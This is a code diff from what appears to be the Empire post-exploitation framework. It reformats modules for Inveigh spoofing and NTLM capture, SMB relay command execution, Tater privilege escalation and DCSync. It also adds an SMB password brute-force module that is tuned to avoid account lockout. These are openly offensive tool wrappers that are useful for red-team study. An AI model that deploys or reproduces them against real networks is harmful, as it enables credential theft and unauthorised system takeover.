'Description' : 'Run time duration in minutes.',
|
||||
'Required' : False,
|
||||
|
@ -160,7 +175,7 @@ class Module:
|
|||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -169,7 +184,7 @@ class Module:
|
|||
|
||||
|
||||
def generate(self):
|
||||
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Inveigh.ps1"
|
||||
|
||||
|
|
|
@ -16,13 +16,13 @@ class Module:
|
|||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/Kevin-Robertson/Inveigh'
|
||||
]
|
||||
|
@ -42,12 +42,12 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferTarget' : {
|
||||
'SpooferTarget' : {
|
||||
'Description' : 'IP address to target for brute force NBNS spoofing.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hostname' : {
|
||||
'Hostname' : {
|
||||
'Description' : 'Hostname to spoof with NBNS spoofing.',
|
||||
'Required' : False,
|
||||
'Value' : 'WPAD'
|
||||
|
@ -57,12 +57,12 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'NBNSPause' : {
|
||||
'NBNSPause' : {
|
||||
'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NBNSTTL' : {
|
||||
'NBNSTTL' : {
|
||||
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -72,37 +72,37 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'HTTPAuth' : {
|
||||
'HTTPAuth' : {
|
||||
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
|
||||
'Required' : False,
|
||||
'Value' : 'NTLM'
|
||||
},
|
||||
'HTTPBasicRealm' : {
|
||||
'HTTPBasicRealm' : {
|
||||
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
|
||||
'Required' : False,
|
||||
'Value' : 'IIS'
|
||||
},
|
||||
'HTTPResponse' : {
|
||||
'HTTPResponse' : {
|
||||
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADAuth' : {
|
||||
'WPADAuth' : {
|
||||
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
|
||||
'Required' : False,
|
||||
'Value' : 'NTLM'
|
||||
},
|
||||
'WPADIP' : {
|
||||
'WPADIP' : {
|
||||
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADPort' : {
|
||||
'WPADPort' : {
|
||||
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADDirectHosts' : {
|
||||
'WPADDirectHosts' : {
|
||||
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -117,7 +117,7 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'N'
|
||||
},
|
||||
'RunCount' : {
|
||||
'RunCount' : {
|
||||
'Description' : 'Number of captures to perform before auto-exiting.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -132,7 +132,7 @@ class Module:
|
|||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -141,7 +141,7 @@ class Module:
|
|||
|
||||
|
||||
def generate(self):
|
||||
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1"
|
||||
|
||||
|
|
|
@ -92,7 +92,7 @@ class Module:
|
|||
script += "Invoke-DCSync -PWDumpFormat "
|
||||
|
||||
if self.options["Domain"]['Value'] != '':
|
||||
script += " -Domain " + self.options['domain']['Value']
|
||||
script += " -Domain " + self.options['Domain']['Value']
|
||||
|
||||
if self.options["Forest"]['Value'] != '':
|
||||
script += " -DumpForest "
|
||||
|
|
|
@ -10,22 +10,22 @@ class Module:
|
|||
'Author': ['Kevin Robertson'],
|
||||
|
||||
'Description': ('Inveigh\'s SMB relay function. This module can be used to relay '
|
||||
'incoming HTTP NTLMv2 authentication requests to an SMB target. '
|
||||
'If the authentication is successfully relayed and the account is '
|
||||
'a local administrator, a specified command will be executed on the '
|
||||
'target PSExec style. This module works best while also running '
|
||||
'collection/inveigh with HTTP disabled.'),
|
||||
'incoming HTTP NTLMv2 authentication requests to an SMB target. '
|
||||
'If the authentication is successfully relayed and the account is '
|
||||
'a local administrator, a specified command will be executed on the '
|
||||
'target PSExec style. This module works best while also running '
|
||||
'collection/inveigh with HTTP disabled.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/Kevin-Robertson/Inveigh'
|
||||
]
|
||||
|
@ -40,17 +40,17 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SMBRelayTarget' : {
|
||||
'SMBRelayTarget' : {
|
||||
'Description' : 'IP address of system to target for SMB relay.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SMBRelayCommand' : {
|
||||
'SMBRelayCommand' : {
|
||||
'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SMBRelayUsernames' : {
|
||||
'SMBRelayUsernames' : {
|
||||
'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -60,17 +60,17 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'RunTime' : {
|
||||
'Description' : 'Run time duration in minutes.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
'RunTime' : {
|
||||
'Description' : 'Run time duration in minutes.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -79,7 +79,7 @@ class Module:
|
|||
|
||||
|
||||
def generate(self):
|
||||
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"
|
||||
|
||||
|
|
|
@ -137,7 +137,7 @@ class Module:
|
|||
launcherCode = l.generate()
|
||||
|
||||
# PowerShell code to write the launcher.bat out
|
||||
script += "$tempLoc = \"$env:temp\debug.bat\""
|
||||
script += "$tempLoc = \"$env:public\debug.bat\""
|
||||
script += "\n$batCode = @\"\n" + launcherCode + "\"@\n"
|
||||
script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n"
|
||||
script += "\"Launcher bat written to $tempLoc `n\";\n"
|
||||
|
@ -150,6 +150,6 @@ class Module:
|
|||
if(domain and domain != ""):
|
||||
script += "-Domain %s " %(domain)
|
||||
|
||||
script += "-Cmd \"$env:temp\debug.bat\""
|
||||
script += "-Cmd \"$env:public\debug.bat\""
|
||||
|
||||
return script
|
||||
|
|
|
@ -10,18 +10,18 @@ class Module:
|
|||
'Author': ['Kevin Robertson'],
|
||||
|
||||
'Description': ('Tater is a PowerShell implementation of the Hot Potato '
|
||||
'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'),
|
||||
'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/Kevin-Robertson/Tater'
|
||||
]
|
||||
|
@ -31,77 +31,77 @@ class Module:
|
|||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'IP' : {
|
||||
'IP' : {
|
||||
'Description' : 'Specific local IP address for NBNS spoofer.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferIP' : {
|
||||
'SpooferIP' : {
|
||||
'Description' : 'IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80 on the privesc target.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Command' : {
|
||||
'Command' : {
|
||||
'Description' : 'Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'NBNS' : {
|
||||
'NBNS' : {
|
||||
'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).',
|
||||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'NBNSLimit' : {
|
||||
'NBNSLimit' : {
|
||||
'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).',
|
||||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'Trigger' : {
|
||||
'Trigger' : {
|
||||
'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task',
|
||||
'Required' : False,
|
||||
'Value' : '1'
|
||||
},
|
||||
'ExhaustUDP' : {
|
||||
'ExhaustUDP' : {
|
||||
'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).',
|
||||
'Required' : False,
|
||||
'Value' : 'N'
|
||||
},
|
||||
'HTTPPort' : {
|
||||
'HTTPPort' : {
|
||||
'Description' : 'TCP port for the HTTP listener.',
|
||||
'Required' : False,
|
||||
'Value' : '80'
|
||||
},
|
||||
'Hostname' : {
|
||||
'Hostname' : {
|
||||
'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.',
|
||||
'Required' : False,
|
||||
'Value' : 'WPAD'
|
||||
},
|
||||
'WPADDirectHosts' : {
|
||||
'WPADDirectHosts' : {
|
||||
'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADPort' : {
|
||||
'WPADPort' : {
|
||||
'Description' : 'Proxy server port to be included in the wpad.dat file.',
|
||||
'Required' : False,
|
||||
'Value' : '80'
|
||||
},
|
||||
'TaskDelete' : {
|
||||
'TaskDelete' : {
|
||||
'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.',
|
||||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'Taskname' : {
|
||||
'Taskname' : {
|
||||
'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.',
|
||||
'Required' : False,
|
||||
'Value' : 'Empire'
|
||||
},
|
||||
'RunTime' : {
|
||||
'RunTime' : {
|
||||
'Description' : 'Run time duration in minutes.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -111,7 +111,7 @@ class Module:
|
|||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -120,7 +120,7 @@ class Module:
|
|||
|
||||
|
||||
def generate(self):
|
||||
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Tater.ps1"
|
||||
|
||||
|
|
|
@ -0,0 +1,130 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'Invoke-SMBAutoBrute',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@curi0usJack'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('Runs an SMB brute against a list of usernames/passwords. '
|
||||
'Will check the DCs to interrogate the bad password count of the '
|
||||
'users and will keep bruting until either a valid credential is '
|
||||
'discoverd or the bad password count reaches one below the threshold. '
|
||||
'Run "shell net accounts" on a valid agent to determine the lockout '
|
||||
'threshold. VERY noisy! Generates a ton of traffic on the DCs.' ),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : True,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : None,
|
||||
|
||||
# True if the module needs admin rights to run
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : False,
|
||||
|
||||
# The minimum PowerShell version needed for the module to run
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': [
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to grab a screenshot from.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserList' : {
|
||||
'Description' : 'File of users to brute (on the target), one per line. If not specified, autobrute will query a list of users with badpwdcount < LockoutThreshold - 1 for each password brute. Wrap path in double quotes.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'PasswordList' : {
|
||||
'Description' : 'Comma separated list of passwords to test. Wrap in double quotes.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowVerbose' : {
|
||||
'Description' : 'Show failed attempts & skipped accounts in addition to success.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LockoutThreshold' : {
|
||||
'Description' : 'The max number of bad password attempts until the account locks. Autobrute will try till one less than this setting.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Delay' : {
|
||||
'Description' : 'Amount of time to wait (in milliseconds) between attempts. Default 100.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'StopOnSuccess' : {
|
||||
'Description' : 'Quit running after the first successful authentication.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# use the pattern below
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SMBAutoBrute.ps1"
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
scriptcmd = "Invoke-SMBAutoBrute"
|
||||
|
||||
# add any arguments to the end execution of the script
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
scriptcmd += " -" + str(option)
|
||||
else:
|
||||
scriptcmd += " -" + str(option) + " " + str(values['Value'])
|
||||
script += scriptcmd
|
||||
#print helpers.color(scriptcmd)
|
||||
return script
|
|
@ -17,29 +17,22 @@ if lsb_release -d | grep -q "Fedora"; then
|
|||
pip install flask
|
||||
elif lsb_release -d | grep -q "Kali"; then
|
||||
Release=Kali
|
||||
apt-get install -y python-dev
|
||||
apt-get install -y python-m2crypto
|
||||
apt-get install -y swig
|
||||
apt-get install -y python-pip
|
||||
apt-get install -y python-dev python-m2crypto swig python-pip
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
pip install pydispatcher
|
||||
pip install flask
|
||||
elif lsb_release -d | grep -q "Ubuntu"; then
|
||||
Release=Ubuntu
|
||||
apt-get install -y python-dev
|
||||
apt-get install -y python-m2crypto
|
||||
apt-get install -y swig
|
||||
apt-get install -y python-pip
|
||||
apt-get install -y python-dev python-m2crypto swig python-pip
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
pip install pydispatcher
|
||||
pip install flask
|
||||
pip install pyOpenSSL
|
||||
else
|
||||
echo "Unknown distro - Debian/Ubuntu Fallback"
|
||||
apt-get install -y python-dev
|
||||
apt-get install -y python-m2crypto
|
||||
apt-get install -y swig
|
||||
apt-get install -y python-dev python-m2crypto swig python-pip
|
||||
pip install pycrypto
|
||||
pip install iptools
|
||||
pip install pydispatcher
|
||||
|
|
Loading…
Reference in New Issue